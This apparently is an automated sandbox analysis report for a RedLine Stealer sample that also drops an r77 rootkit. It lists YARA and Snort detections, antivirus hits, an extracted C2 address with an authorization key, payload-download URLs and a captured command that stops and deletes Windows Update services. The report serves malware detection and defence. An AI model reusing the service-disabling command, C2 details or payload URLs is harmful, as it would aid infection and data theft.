0.3.FKN6uh7y01.exe.6f0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xce8:$pat14: , CommandLine: 0x192b5:$v2_1: ListOfProcesses 0x19049:$v4_3: base64str 0x1a0b8:$v4_4: stringKey 0x16c90:$v4_5: BytesToStringConverted 0x15cf8:$v4_6: FromBase64 0x17458:$v4_8: procName 0x177db:$v5_1: DownloadAndExecuteUpdate 0x18f59:$v5_2: ITaskProcessor 0x177c9:$v5_3: CommandLineUpdate 0x177ba:$v5_4: DownloadUpdate 0x17e5c:$v5_5: FileScanning 0x16fff:$v5_7: RecordHeaderField 0x16a1e:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
12.0.ofg.exe.ec0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
0.2.FKN6uh7y01.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.FKN6uh7y01.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x22c5c:$s5: delete[] 0x21b88:$s6: constructor or from DllMain. 0x26e70:$pat14: , CommandLine: 0x3f43d:$v2_1: ListOfProcesses 0x3f1d1:$v4_3: base64str 0x40240:$v4_4: stringKey 0x3ce18:$v4_5: BytesToStringConverted 0x3be80:$v4_6: FromBase64 0x3d5e0:$v4_8: procName 0x3d963:$v5_1: DownloadAndExecuteUpdate 0x3f0e1:$v5_2: ITaskProcessor 0x3d951:$v5_3: CommandLineUpdate 0x3d942:$v5_4: DownloadUpdate 0x3dfe4:$v5_5: FileScanning 0x3d187:$v5_7: RecordHeaderField 0x3cba6:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
38.0.GoogleUpdate.exe.1150000.0.unpack	SUSP_Unsigned_GoogleUpdate	Detects suspicious unsigned GoogleUpdate.exe	Florian Roth	0x16ac5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16dd5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x170b1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x173a1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17691:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17995:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17c81:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17f79:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18279:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18561:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18849:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18b31:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18e35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19141:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1943d:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19739:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19a29:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19d35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a025:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a305:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a611:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ...
65.2.updater.exe.2b7fcf50000.1.raw.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x44d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
Click to see the 11 entries

Sigma Signatures

Operating System Destruction

Sigma detected: Stop multiple services

Source: Process started

Author: Joe Security: Data: Command: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f, CommandLine: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Google\brave.exe" , ParentImage: C:\Users\user\AppData\Local\Google\brave.exe, ParentProcessId: 46932, ParentProcessName: brave.exe, ProcessCommandLine: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f, ProcessId: 5656, ProcessName: cmd.exe

Snort Signatures

ET TROJAN Win32/Agent.AETZ CnC Checkin - Source IP: 192.168.2.4 - Destination IP: 172.66.40.196

Timestamp:	192.168.2.4172.66.40.196497044432039616 11/24/22-13:28:27.179038
SID:	2039616
Source Port:	49704
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.4 - Destination IP: 37.220.87.2

Timestamp:	192.168.2.437.220.87.249700279242850286 11/24/22-13:27:49.318530
SID:	2850286
Source Port:	49700
Destination Port:	27924
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.4 - Destination IP: 37.220.87.2

Timestamp:	192.168.2.437.220.87.249700279242850027 11/24/22-13:27:33.299089
SID:	2850027
Source Port:	49700
Destination Port:	27924
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 37.220.87.2 - Destination IP: 192.168.2.4

Timestamp:	37.220.87.2192.168.2.427924497002850353 11/24/22-13:27:34.756753
SID:	2850353
Source Port:	27924
Destination Port:	49700
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://tempuri.org/Entity/Id19Responseon	URL Reputation: Label: phishing
Source: http://tempuri.org/Entity/Id4y/	URL Reputation: Label: phishing
Source: 37.220.87.2:27924	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Avira: detection malicious, Label: HEUR/AGEN.1213193
Source: C:\Users\user\AppData\Local\Temp\33C5.tmp	Avira: detection malicious, Label: TR/Dropper.MSIL.Gen

Multi AV Scanner detection for submitted file

Source: FKN6uh7y01.exe	ReversingLabs: Detection: 33%
Source: FKN6uh7y01.exe	Virustotal: Detection: 36%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Google\Chrome\updater.exe	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Local\Google\brave.exe	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Local\Google\chrome.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\33C5.tmp	ReversingLabs: Detection: 80%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Joe Sandbox ML: detected

Source: 56.2.dialer.exe.7ff797ce0000.0.unpack	Avira: Label: TR/Dropper.MSIL.Gen
Source: 56.0.dialer.exe.7ff797ce0000.0.unpack	Avira: Label: TR/Dropper.MSIL.Gen
Source: 56.0.dialer.exe.7ff797ce0000.2.unpack	Avira: Label: TR/Dropper.MSIL.Gen

Source: 0.3.FKN6uh7y01.exe.6f0000.0.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["37.220.87.2:27924"], "Authorization Header": "c730762e00ec2290f332f51330ecd40b"}

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Windows\GoogleUpdate.exe

Unpacked PE file: 38.2.GoogleUpdate.exe.1150000.1.unpack

Source: FKN6uh7y01.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49944 version: TLS 1.2

Source:	Binary string: GoogleUpdate_unsigned.pdb source: GoogleUpdate.exe, 00000026.00000000.433325923.0000000001151000.00000020.00000001.01000000.0000000C.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\Release\r77-x86.pdb source: ofg.exe, 00000009.00000002.599703591.0000000000E40000.00000040.00001000.00020000.00000000.sdmp, ofg.exe, 00000009.00000002.599327356.0000000000DB0000.00000040.00000400.00020000.00000000.sdmp, ofg.exe, 0000000C.00000002.596678477.0000000000E70000.00000040.00000400.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000002.633723034.00000000016F0000.00000040.00001000.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000002.596306810.0000000000970000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb source: brave.exe, 00000006.00000002.505821855.0000012492082000.00000004.00000020.00020000.00000000.sdmp, 33C5.tmp.6.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb- source: brave.exe, 00000006.00000002.505821855.0000012492082000.00000004.00000020.00020000.00000000.sdmp, 33C5.tmp.6.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\r77-x64.pdb source: updater.exe, 00000041.00000002.599121882.000002B7FCC50000.00000040.00000400.00020000.00000000.sdmp, updater.exe, 00000041.00000002.601583178.000002B7FCF50000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\Install.pdb source: brave.exe, 00000006.00000002.505821855.0000012492082000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000038.00000000.493487911.00007FF797CED000.00000002.00000001.01000000.00000000.sdmp, dialer.exe, 00000038.00000002.509446791.00007FF797CED000.00000002.00000001.01000000.00000000.sdmp, 33C5.tmp.6.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then jmp 0A1CDB4Dh	2_2_0A1CDB2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then jmp 0A1CA1EBh	2_2_0A1C9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_0A1C7D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then jmp 0A1CC6CAh	2_2_0A1CC297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then jmp 0A1CCB4Ah	2_2_0A1CC297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then jmp 0A1C9300h	2_2_0A1C9158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then jmp 0A1C9300h	2_2_0A1C9168
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF12530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF12530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF12530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then mov qword ptr [rsp+28h], 0000000000000000h	6_2_00007FF77BF12530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then sub rsp, 38h	6_2_00007FF77BF0C000
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF08100
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then sub rsp, 38h	6_2_00007FF77BF0F1C0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then sub rsp, 38h	6_2_00007FF77BF081D0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF122E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF122E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF122E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF122E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF123A0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF123A0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF12490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF12490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF12490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF12490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	6_2_00007FF77BF12490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then mov qword ptr [rsp+28h], 0000000000000000h	6_2_00007FF77BF12490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then mov rax, qword ptr [rcx]	6_2_00007FF77BF05530

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2039616 ET TROJAN Win32/Agent.AETZ CnC Checkin 192.168.2.4:49704 -> 172.66.40.196:443
Source: Traffic	Snort IDS: 2850027 ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init 192.168.2.4:49700 -> 37.220.87.2:27924
Source: Traffic	Snort IDS: 2850286 ETPRO TROJAN Redline Stealer TCP CnC Activity 192.168.2.4:49700 -> 37.220.87.2:27924
Source: Traffic	Snort IDS: 2850353 ETPRO MALWARE Redline Stealer TCP CnC - Id1Response 37.220.87.2:27924 -> 192.168.2.4:49700

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 37.220.87.2:27924

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /aula/dmi1dfg7n.kjylug HTTP/1.1Host: www.idpminic.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aula/ofg7d45fsdfgg312.sfhg HTTP/1.1Host: www.idpminic.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aula/f429fjd4uf84u.sdfh HTTP/1.1Host: www.idpminic.org

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: ARTEM-CATV-ASRU ARTEM-CATV-ASRU

Source: Joe Sandbox View	IP Address: 172.66.40.196 172.66.40.196
Source: Joe Sandbox View	IP Address: 37.220.87.2 37.220.87.2

Source: global traffic

TCP traffic: 192.168.2.4:49700 -> 37.220.87.2:27924

Source: powershell.exe, 00000017.00000003.557583303.0000019265A7C000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.530684437.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.513076345.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.489619095.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.526109262.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.510283805.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.518364729.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.478123961.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.557698037.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.486903854.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.482956744.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.507924287.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.549786160.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.543712578.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.546776732.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.504159889.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.484761889.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.501676380.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.493484242.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.479700358.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.554379808.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
